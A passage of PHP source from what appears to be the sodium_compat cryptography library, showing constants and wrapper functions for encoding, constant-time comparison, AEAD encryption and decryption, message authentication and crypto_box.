    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;
    const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
    const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;

/**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function add(&$val, $addv)
    {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException('values must have the same length');
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

$c = 0;
        for ($i = 0; $i < $val_len; $i++) {
            $c += ($A[$i] + $B[$i]);
            $A[$i] = ($c & 0xff);
            $c >>= 8;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

/**
     * @param string $encoded
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     */
    public static function base642bin($encoded, $variant, $ignore = '')
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($encoded, 'string', 1);

/** @var string $encoded */
        $encoded = (string) $encoded;
        if (ParagonIE_Sodium_Core_Util::strlen($encoded) === 0) {
            return '';
        }

// Just strip before decoding
        if (!empty($ignore)) {
            $encoded = str_replace($ignore, '', $encoded);
        }

try {
            switch ($variant) {
                case self::BASE64_VARIANT_ORIGINAL:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
                case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, false);
                case self::BASE64_VARIANT_URLSAFE:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
                case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, false);
                default:
                    throw new SodiumException('invalid base64 variant identifier');
            }
        } catch (Exception $ex) {
            if ($ex instanceof SodiumException) {
                throw $ex;
            }
            throw new SodiumException('invalid base64 string');
        }
    }

/**
     * @param string $decoded
     * @param int $variant
     * @return string
     * @throws SodiumException
     */
    public static function bin2base64($decoded, $variant)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($decoded, 'string', 1);
        /** @var string $decoded */
        $decoded = (string) $decoded;
        if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
            return '';
        }

switch ($variant) {
            case self::BASE64_VARIANT_ORIGINAL:
                return ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
            case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
            case self::BASE64_VARIANT_URLSAFE:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
            case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
            default:
                throw new SodiumException('invalid base64 variant identifier');
        }
    }

/**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex($string)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, 'string', 1);

if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback('bin2hex')) {
            return (string) call_user_func('\\Sodium\\bin2hex', $string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

/**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          If < 0 if the left operand is less than the right
     *                      If = 0 if both strings are equal
     *                      If > 0 if the right operand is less than the left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare($left, $right)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, 'string', 2);

if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback('compare')) {
            return (int) call_user_func('\\Sodium\\compare', $left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

/**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if (self::use_fallback('crypto_aead_aes256gcm_is_available')) {
            return call_user_func('\\Sodium\\crypto_aead_aes256gcm_is_available');
        }
        if (PHP_VERSION_ID < 70100) {
            // OpenSSL doesn't support AEAD before 7.1.0
            return false;
        }
        if (!is_callable('openssl_encrypt') || !is_callable('openssl_decrypt')) {
            // OpenSSL isn't installed
            return false;
        }
        return (bool) in_array('aes-256-gcm', openssl_get_cipher_methods());
    }

/**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string|bool       The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AES256GCM_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_AES256GCM_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AES256GCM_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_AES256GCM_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_AES256GCM_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_AES256GCM_ABYTES long');
        }
        if (!is_callable('openssl_decrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_decrypt() is not available');
        }

/** @var string $ctext */
        $ctext = ParagonIE_Sodium_Core_Util::substr($ciphertext, 0, -self::CRYPTO_AEAD_AES256GCM_ABYTES);
        /** @var string $authTag */
        $authTag = ParagonIE_Sodium_Core_Util::substr($ciphertext, -self::CRYPTO_AEAD_AES256GCM_ABYTES, 16);
        return openssl_decrypt(
            $ctext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
    }

/**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte GCM message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aes256gcm_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        if (!self::crypto_aead_aes256gcm_is_available()) {
            throw new SodiumException('AES-256-GCM is not available');
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

if (!is_callable('openssl_encrypt')) {
            throw new SodiumException('The OpenSSL extension is not installed, or openssl_encrypt() is not available');
        }

$authTag = '';
        $ciphertext = openssl_encrypt(
            $plaintext,
            'aes-256-gcm',
            $key,
            OPENSSL_RAW_DATA,
            $nonce,
            $authTag,
            $assocData
        );
        return $ciphertext . $authTag;
    }

/**
     * Return a secure random key for use with the AES-256-GCM
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aes256gcm_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AES256GCM_KEYBYTES);
    }

/**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 8 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

/**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 8 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

/**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 12 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_chacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_CHACHA20POLY1305_ABYTES long');
        }

if (self::useNewSodiumAPI()) {
            /**
             * @psalm-suppress InvalidReturnStatement
             * @psalm-suppress FalsableReturnStatement
             */
            return sodium_crypto_aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_decrypt')) {
            return call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt',
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

/**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES);
    }

/**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     ChaCha20-Poly1305
     *
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     * Regular mode uses a 64-bit random nonce with a 64-bit counter.
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 8 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_chacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = ''
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (self::use_fallback('crypto_aead_chacha20poly1305_ietf_encrypt')) {
            return (string) call_user_func(
                '\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt',
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_chacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_chacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

/**
     * Return a secure random key for use with the ChaCha20-Poly1305
     * symmetric AEAD interface. (IETF version)
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES);
    }

/**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext   Encrypted message (with Poly1305 MAC appended)
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string|bool         The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_decrypt(
        $ciphertext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($ciphertext) < self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES) {
            throw new SodiumException('Message must be at least CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_decrypt(
                    $ciphertext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_decrypt(
                $ciphertext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_decrypt(
            $ciphertext,
            $assocData,
            $nonce,
            $key
        );
    }

/**
     * Authenticated Encryption with Associated Data
     *
     * Algorithm:
     *     XChaCha20-Poly1305
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $plaintext    Message to be encrypted
     * @param string $assocData    Authenticated Associated Data (unencrypted)
     * @param string $nonce        Number to be used only Once; must be 8 bytes
     * @param string $key          Encryption key
     * @param bool   $dontFallback Don't fallback to ext/sodium
     *
     * @return string           Ciphertext with a 16-byte Poly1305 message
     *                          authentication code appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_xchacha20poly1305_ietf_encrypt(
        $plaintext = '',
        $assocData = '',
        $nonce = '',
        $key = '',
        $dontFallback = false
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        if (!is_null($assocData)) {
            ParagonIE_Sodium_Core_Util::declareScalarType($assocData, 'string', 2);
        } else {
            $assocData = '';
        }
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 4);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES) {
            throw new SodiumException('Nonce must be CRYPTO_AEAD_XCHACHA20POLY1305_NPUBBYTES long');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES) {
            throw new SodiumException('Key must be CRYPTO_AEAD_XCHACHA20POLY1305_KEYBYTES long');
        }
        if (self::useNewSodiumAPI() && !$dontFallback) {
            if (is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) {
                return sodium_crypto_aead_xchacha20poly1305_ietf_encrypt(
                    $plaintext,
                    $assocData,
                    $nonce,
                    $key
                );
            }
        }

if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::aead_xchacha20poly1305_ietf_encrypt(
                $plaintext,
                $assocData,
                $nonce,
                $key
            );
        }
        return ParagonIE_Sodium_Crypto::aead_xchacha20poly1305_ietf_encrypt(
            $plaintext,
            $assocData,
            $nonce,
            $key
        );
    }

/**
     * Return a secure random key for use with the XChaCha20-Poly1305
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES);
    }

/**
     * Authenticate a message. Uses symmetric-key cryptography.
     *
     * Algorithm:
     *     HMAC-SHA512-256. Which is HMAC-SHA-512 truncated to 256 bits.
     *     Not to be confused with HMAC-SHA-512/256 which would use the
     *     SHA-512/256 hash function (uses different initial parameters
     *     but still truncates to 256 bits to sidestep length-extension
     *     attacks).
     *
     * @param string $message Message to be authenticated
     * @param string $key Symmetric authentication key
     * @return string         Message authentication code
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth($message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 2);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_AUTH_KEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_auth($message, $key);
        }
        if (self::use_fallback('crypto_auth')) {
            return (string) call_user_func('\\Sodium\\crypto_auth', $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth($message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth($message, $key);
    }

/**
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_auth_keygen()
    {
        return random_bytes(self::CRYPTO_AUTH_KEYBYTES);
    }

/**
     * Verify the MAC of a message previously authenticated with crypto_auth.
     *
     * @param string $mac Message authentication code
     * @param string $message Message whose authenticity you are attempting to
     *                        verify (with a given MAC and key)
     * @param string $key Symmetric authentication key
     * @return bool           TRUE if authenticated, FALSE otherwise
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_auth_verify($mac, $message, $key)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($mac, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($message, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($mac) !== self::CRYPTO_AUTH_BYTES) {
            throw new SodiumException('Argument 1 must be CRYPTO_AUTH_BYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AUTH_KEYBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_AUTH_KEYBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return (bool) sodium_crypto_auth_verify($mac, $message, $key);
        }
        if (self::use_fallback('crypto_auth_verify')) {
            return (bool) call_user_func('\\Sodium\\crypto_auth_verify', $mac, $message, $key);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::auth_verify($mac, $message, $key);
        }
        return ParagonIE_Sodium_Crypto::auth_verify($mac, $message, $key);
    }

/**
     * Authenticated asymmetric-key encryption. Both the sender and recipient
     * may decrypt messages.
     *
     * Algorithm: X25519-XSalsa20-Poly1305.
     *     X25519: Elliptic-Curve Diffie Hellman over Curve25519.
     *     XSalsa20: Extended-nonce variant of salsa20.
     *     Poyl1305: Polynomial MAC for one-time message authentication.
     *
     * @param string $plaintext The message to be encrypted
     * @param string $nonce A Number to only be used Once; must be 24 bytes
     * @param string $keypair Your secret key and your recipient's public key
     * @return string           Ciphertext with 16-byte Poly1305 MAC
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_box($plaintext, $nonce, $keypair)
    {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, 'string', 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, 'string', 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($keypair, 'string', 3);

/* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_BOX_NONCEBYTES) {
            throw new SodiumException('Argument 2 must be CRYPTO_BOX_NONCEBYTES long.');
        }
        if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== self::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new SodiumException('Argument 3 must be CRYPTO_BOX_KEYPAIRBYTES long.');
        }

if (self::useNewSodiumAPI()) {
            return (string) sodium_crypto_box($plaintext, $nonce, $keypair);
        }
        if (self::use_fallback('crypto_box')) {
            return (string) call_user_func('\\Sodium\\crypto_box', $plaintext, $nonce, $keypair);
        }
        if (PHP_INT_SIZE === 4) {
            return ParagonIE_Sodium_Crypto32::box($plaintext, $nonce, $keypair);
        }
        return ParagonIE_Sodium_Crypto::box($plaintext, $nonce, $keypair);
    }

/**
     * Anonymous public-key encryption. Only the recipient may decrypt messages.
     *
